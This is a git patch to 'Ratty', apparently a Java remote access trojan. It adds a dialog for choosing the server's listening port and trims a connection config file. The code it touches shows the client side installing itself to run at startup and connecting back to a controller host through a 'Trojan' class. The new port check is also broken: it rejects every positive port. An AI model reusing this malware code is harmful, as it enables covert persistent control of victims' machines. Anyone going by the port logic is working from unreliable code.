From e6b15277fcfe829a4b16c15d8fd711f85bd93fc7 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Fri, 5 Feb 2016 22:25:15 +0100 Subject: [PATCH] Minor changes The server user can now input a port --- Ratty/res/connection_data.txt | 6 +----- Ratty/src/de/sogomn/rat/Ratty.java | 29 +++++++++++++++++++++++++++++ 2 files changed, 30 insertions(+), 5 deletions(-) diff --git a/Ratty/res/connection_data.txt b/Ratty/res/connection_data.txt index b88b416..9daf0d2 100644 --- a/Ratty/res/connection_data.txt +++ b/Ratty/res/connection_data.txt @@ -1,7 +1,3 @@ localhost 23456 -false - -1st line: Address -2nd line: Port -3rd line: True for client; false for server \ No newline at end of file +false \ No newline at end of file diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 02cee9e..87ded4c 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -5,6 +5,8 @@ import java.io.IOException; import java.net.URI; import java.net.URISyntaxException; +import javax.swing.JOptionPane; + import com.alee.laf.WebLookAndFeel; import de.sogomn.engine.util.FileUtils; @@ -19,6 +21,9 @@ public final class Ratty { private static int port; private static boolean client; + private static final String PORT_INPUT_MESSAGE = "Which port should the server be bind to?"; + private static final String INVALID_PORT_MESSAGE = "Invalid port."; + private static final int CONNECTION_INTERVAL = 2500; private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt"; @@ -61,6 +66,22 @@ public final class Ratty { } } + private static int getPortInput() { + final String input = JOptionPane.showInputDialog(PORT_INPUT_MESSAGE); + + try { + final int port = Integer.parseInt(input); + + if (port > 0) { + return -1; + } + + return port; + } catch (final NumberFormatException | NullPointerException ex) { + return -1; + } + } + public static void connectToHost(final String address, final int port) { final ActiveClient newClient = new ActiveClient(address, port); final Trojan trojan = new Trojan(); @@ -99,6 +120,14 @@ public final class Ratty { addToStartup(); connectToHost(address, port); } else { + final int port = getPortInput(); + + if (port == -1) { + JOptionPane.showMessageDialog(null, INVALID_PORT_MESSAGE); + + return; + } + startServer(port); } }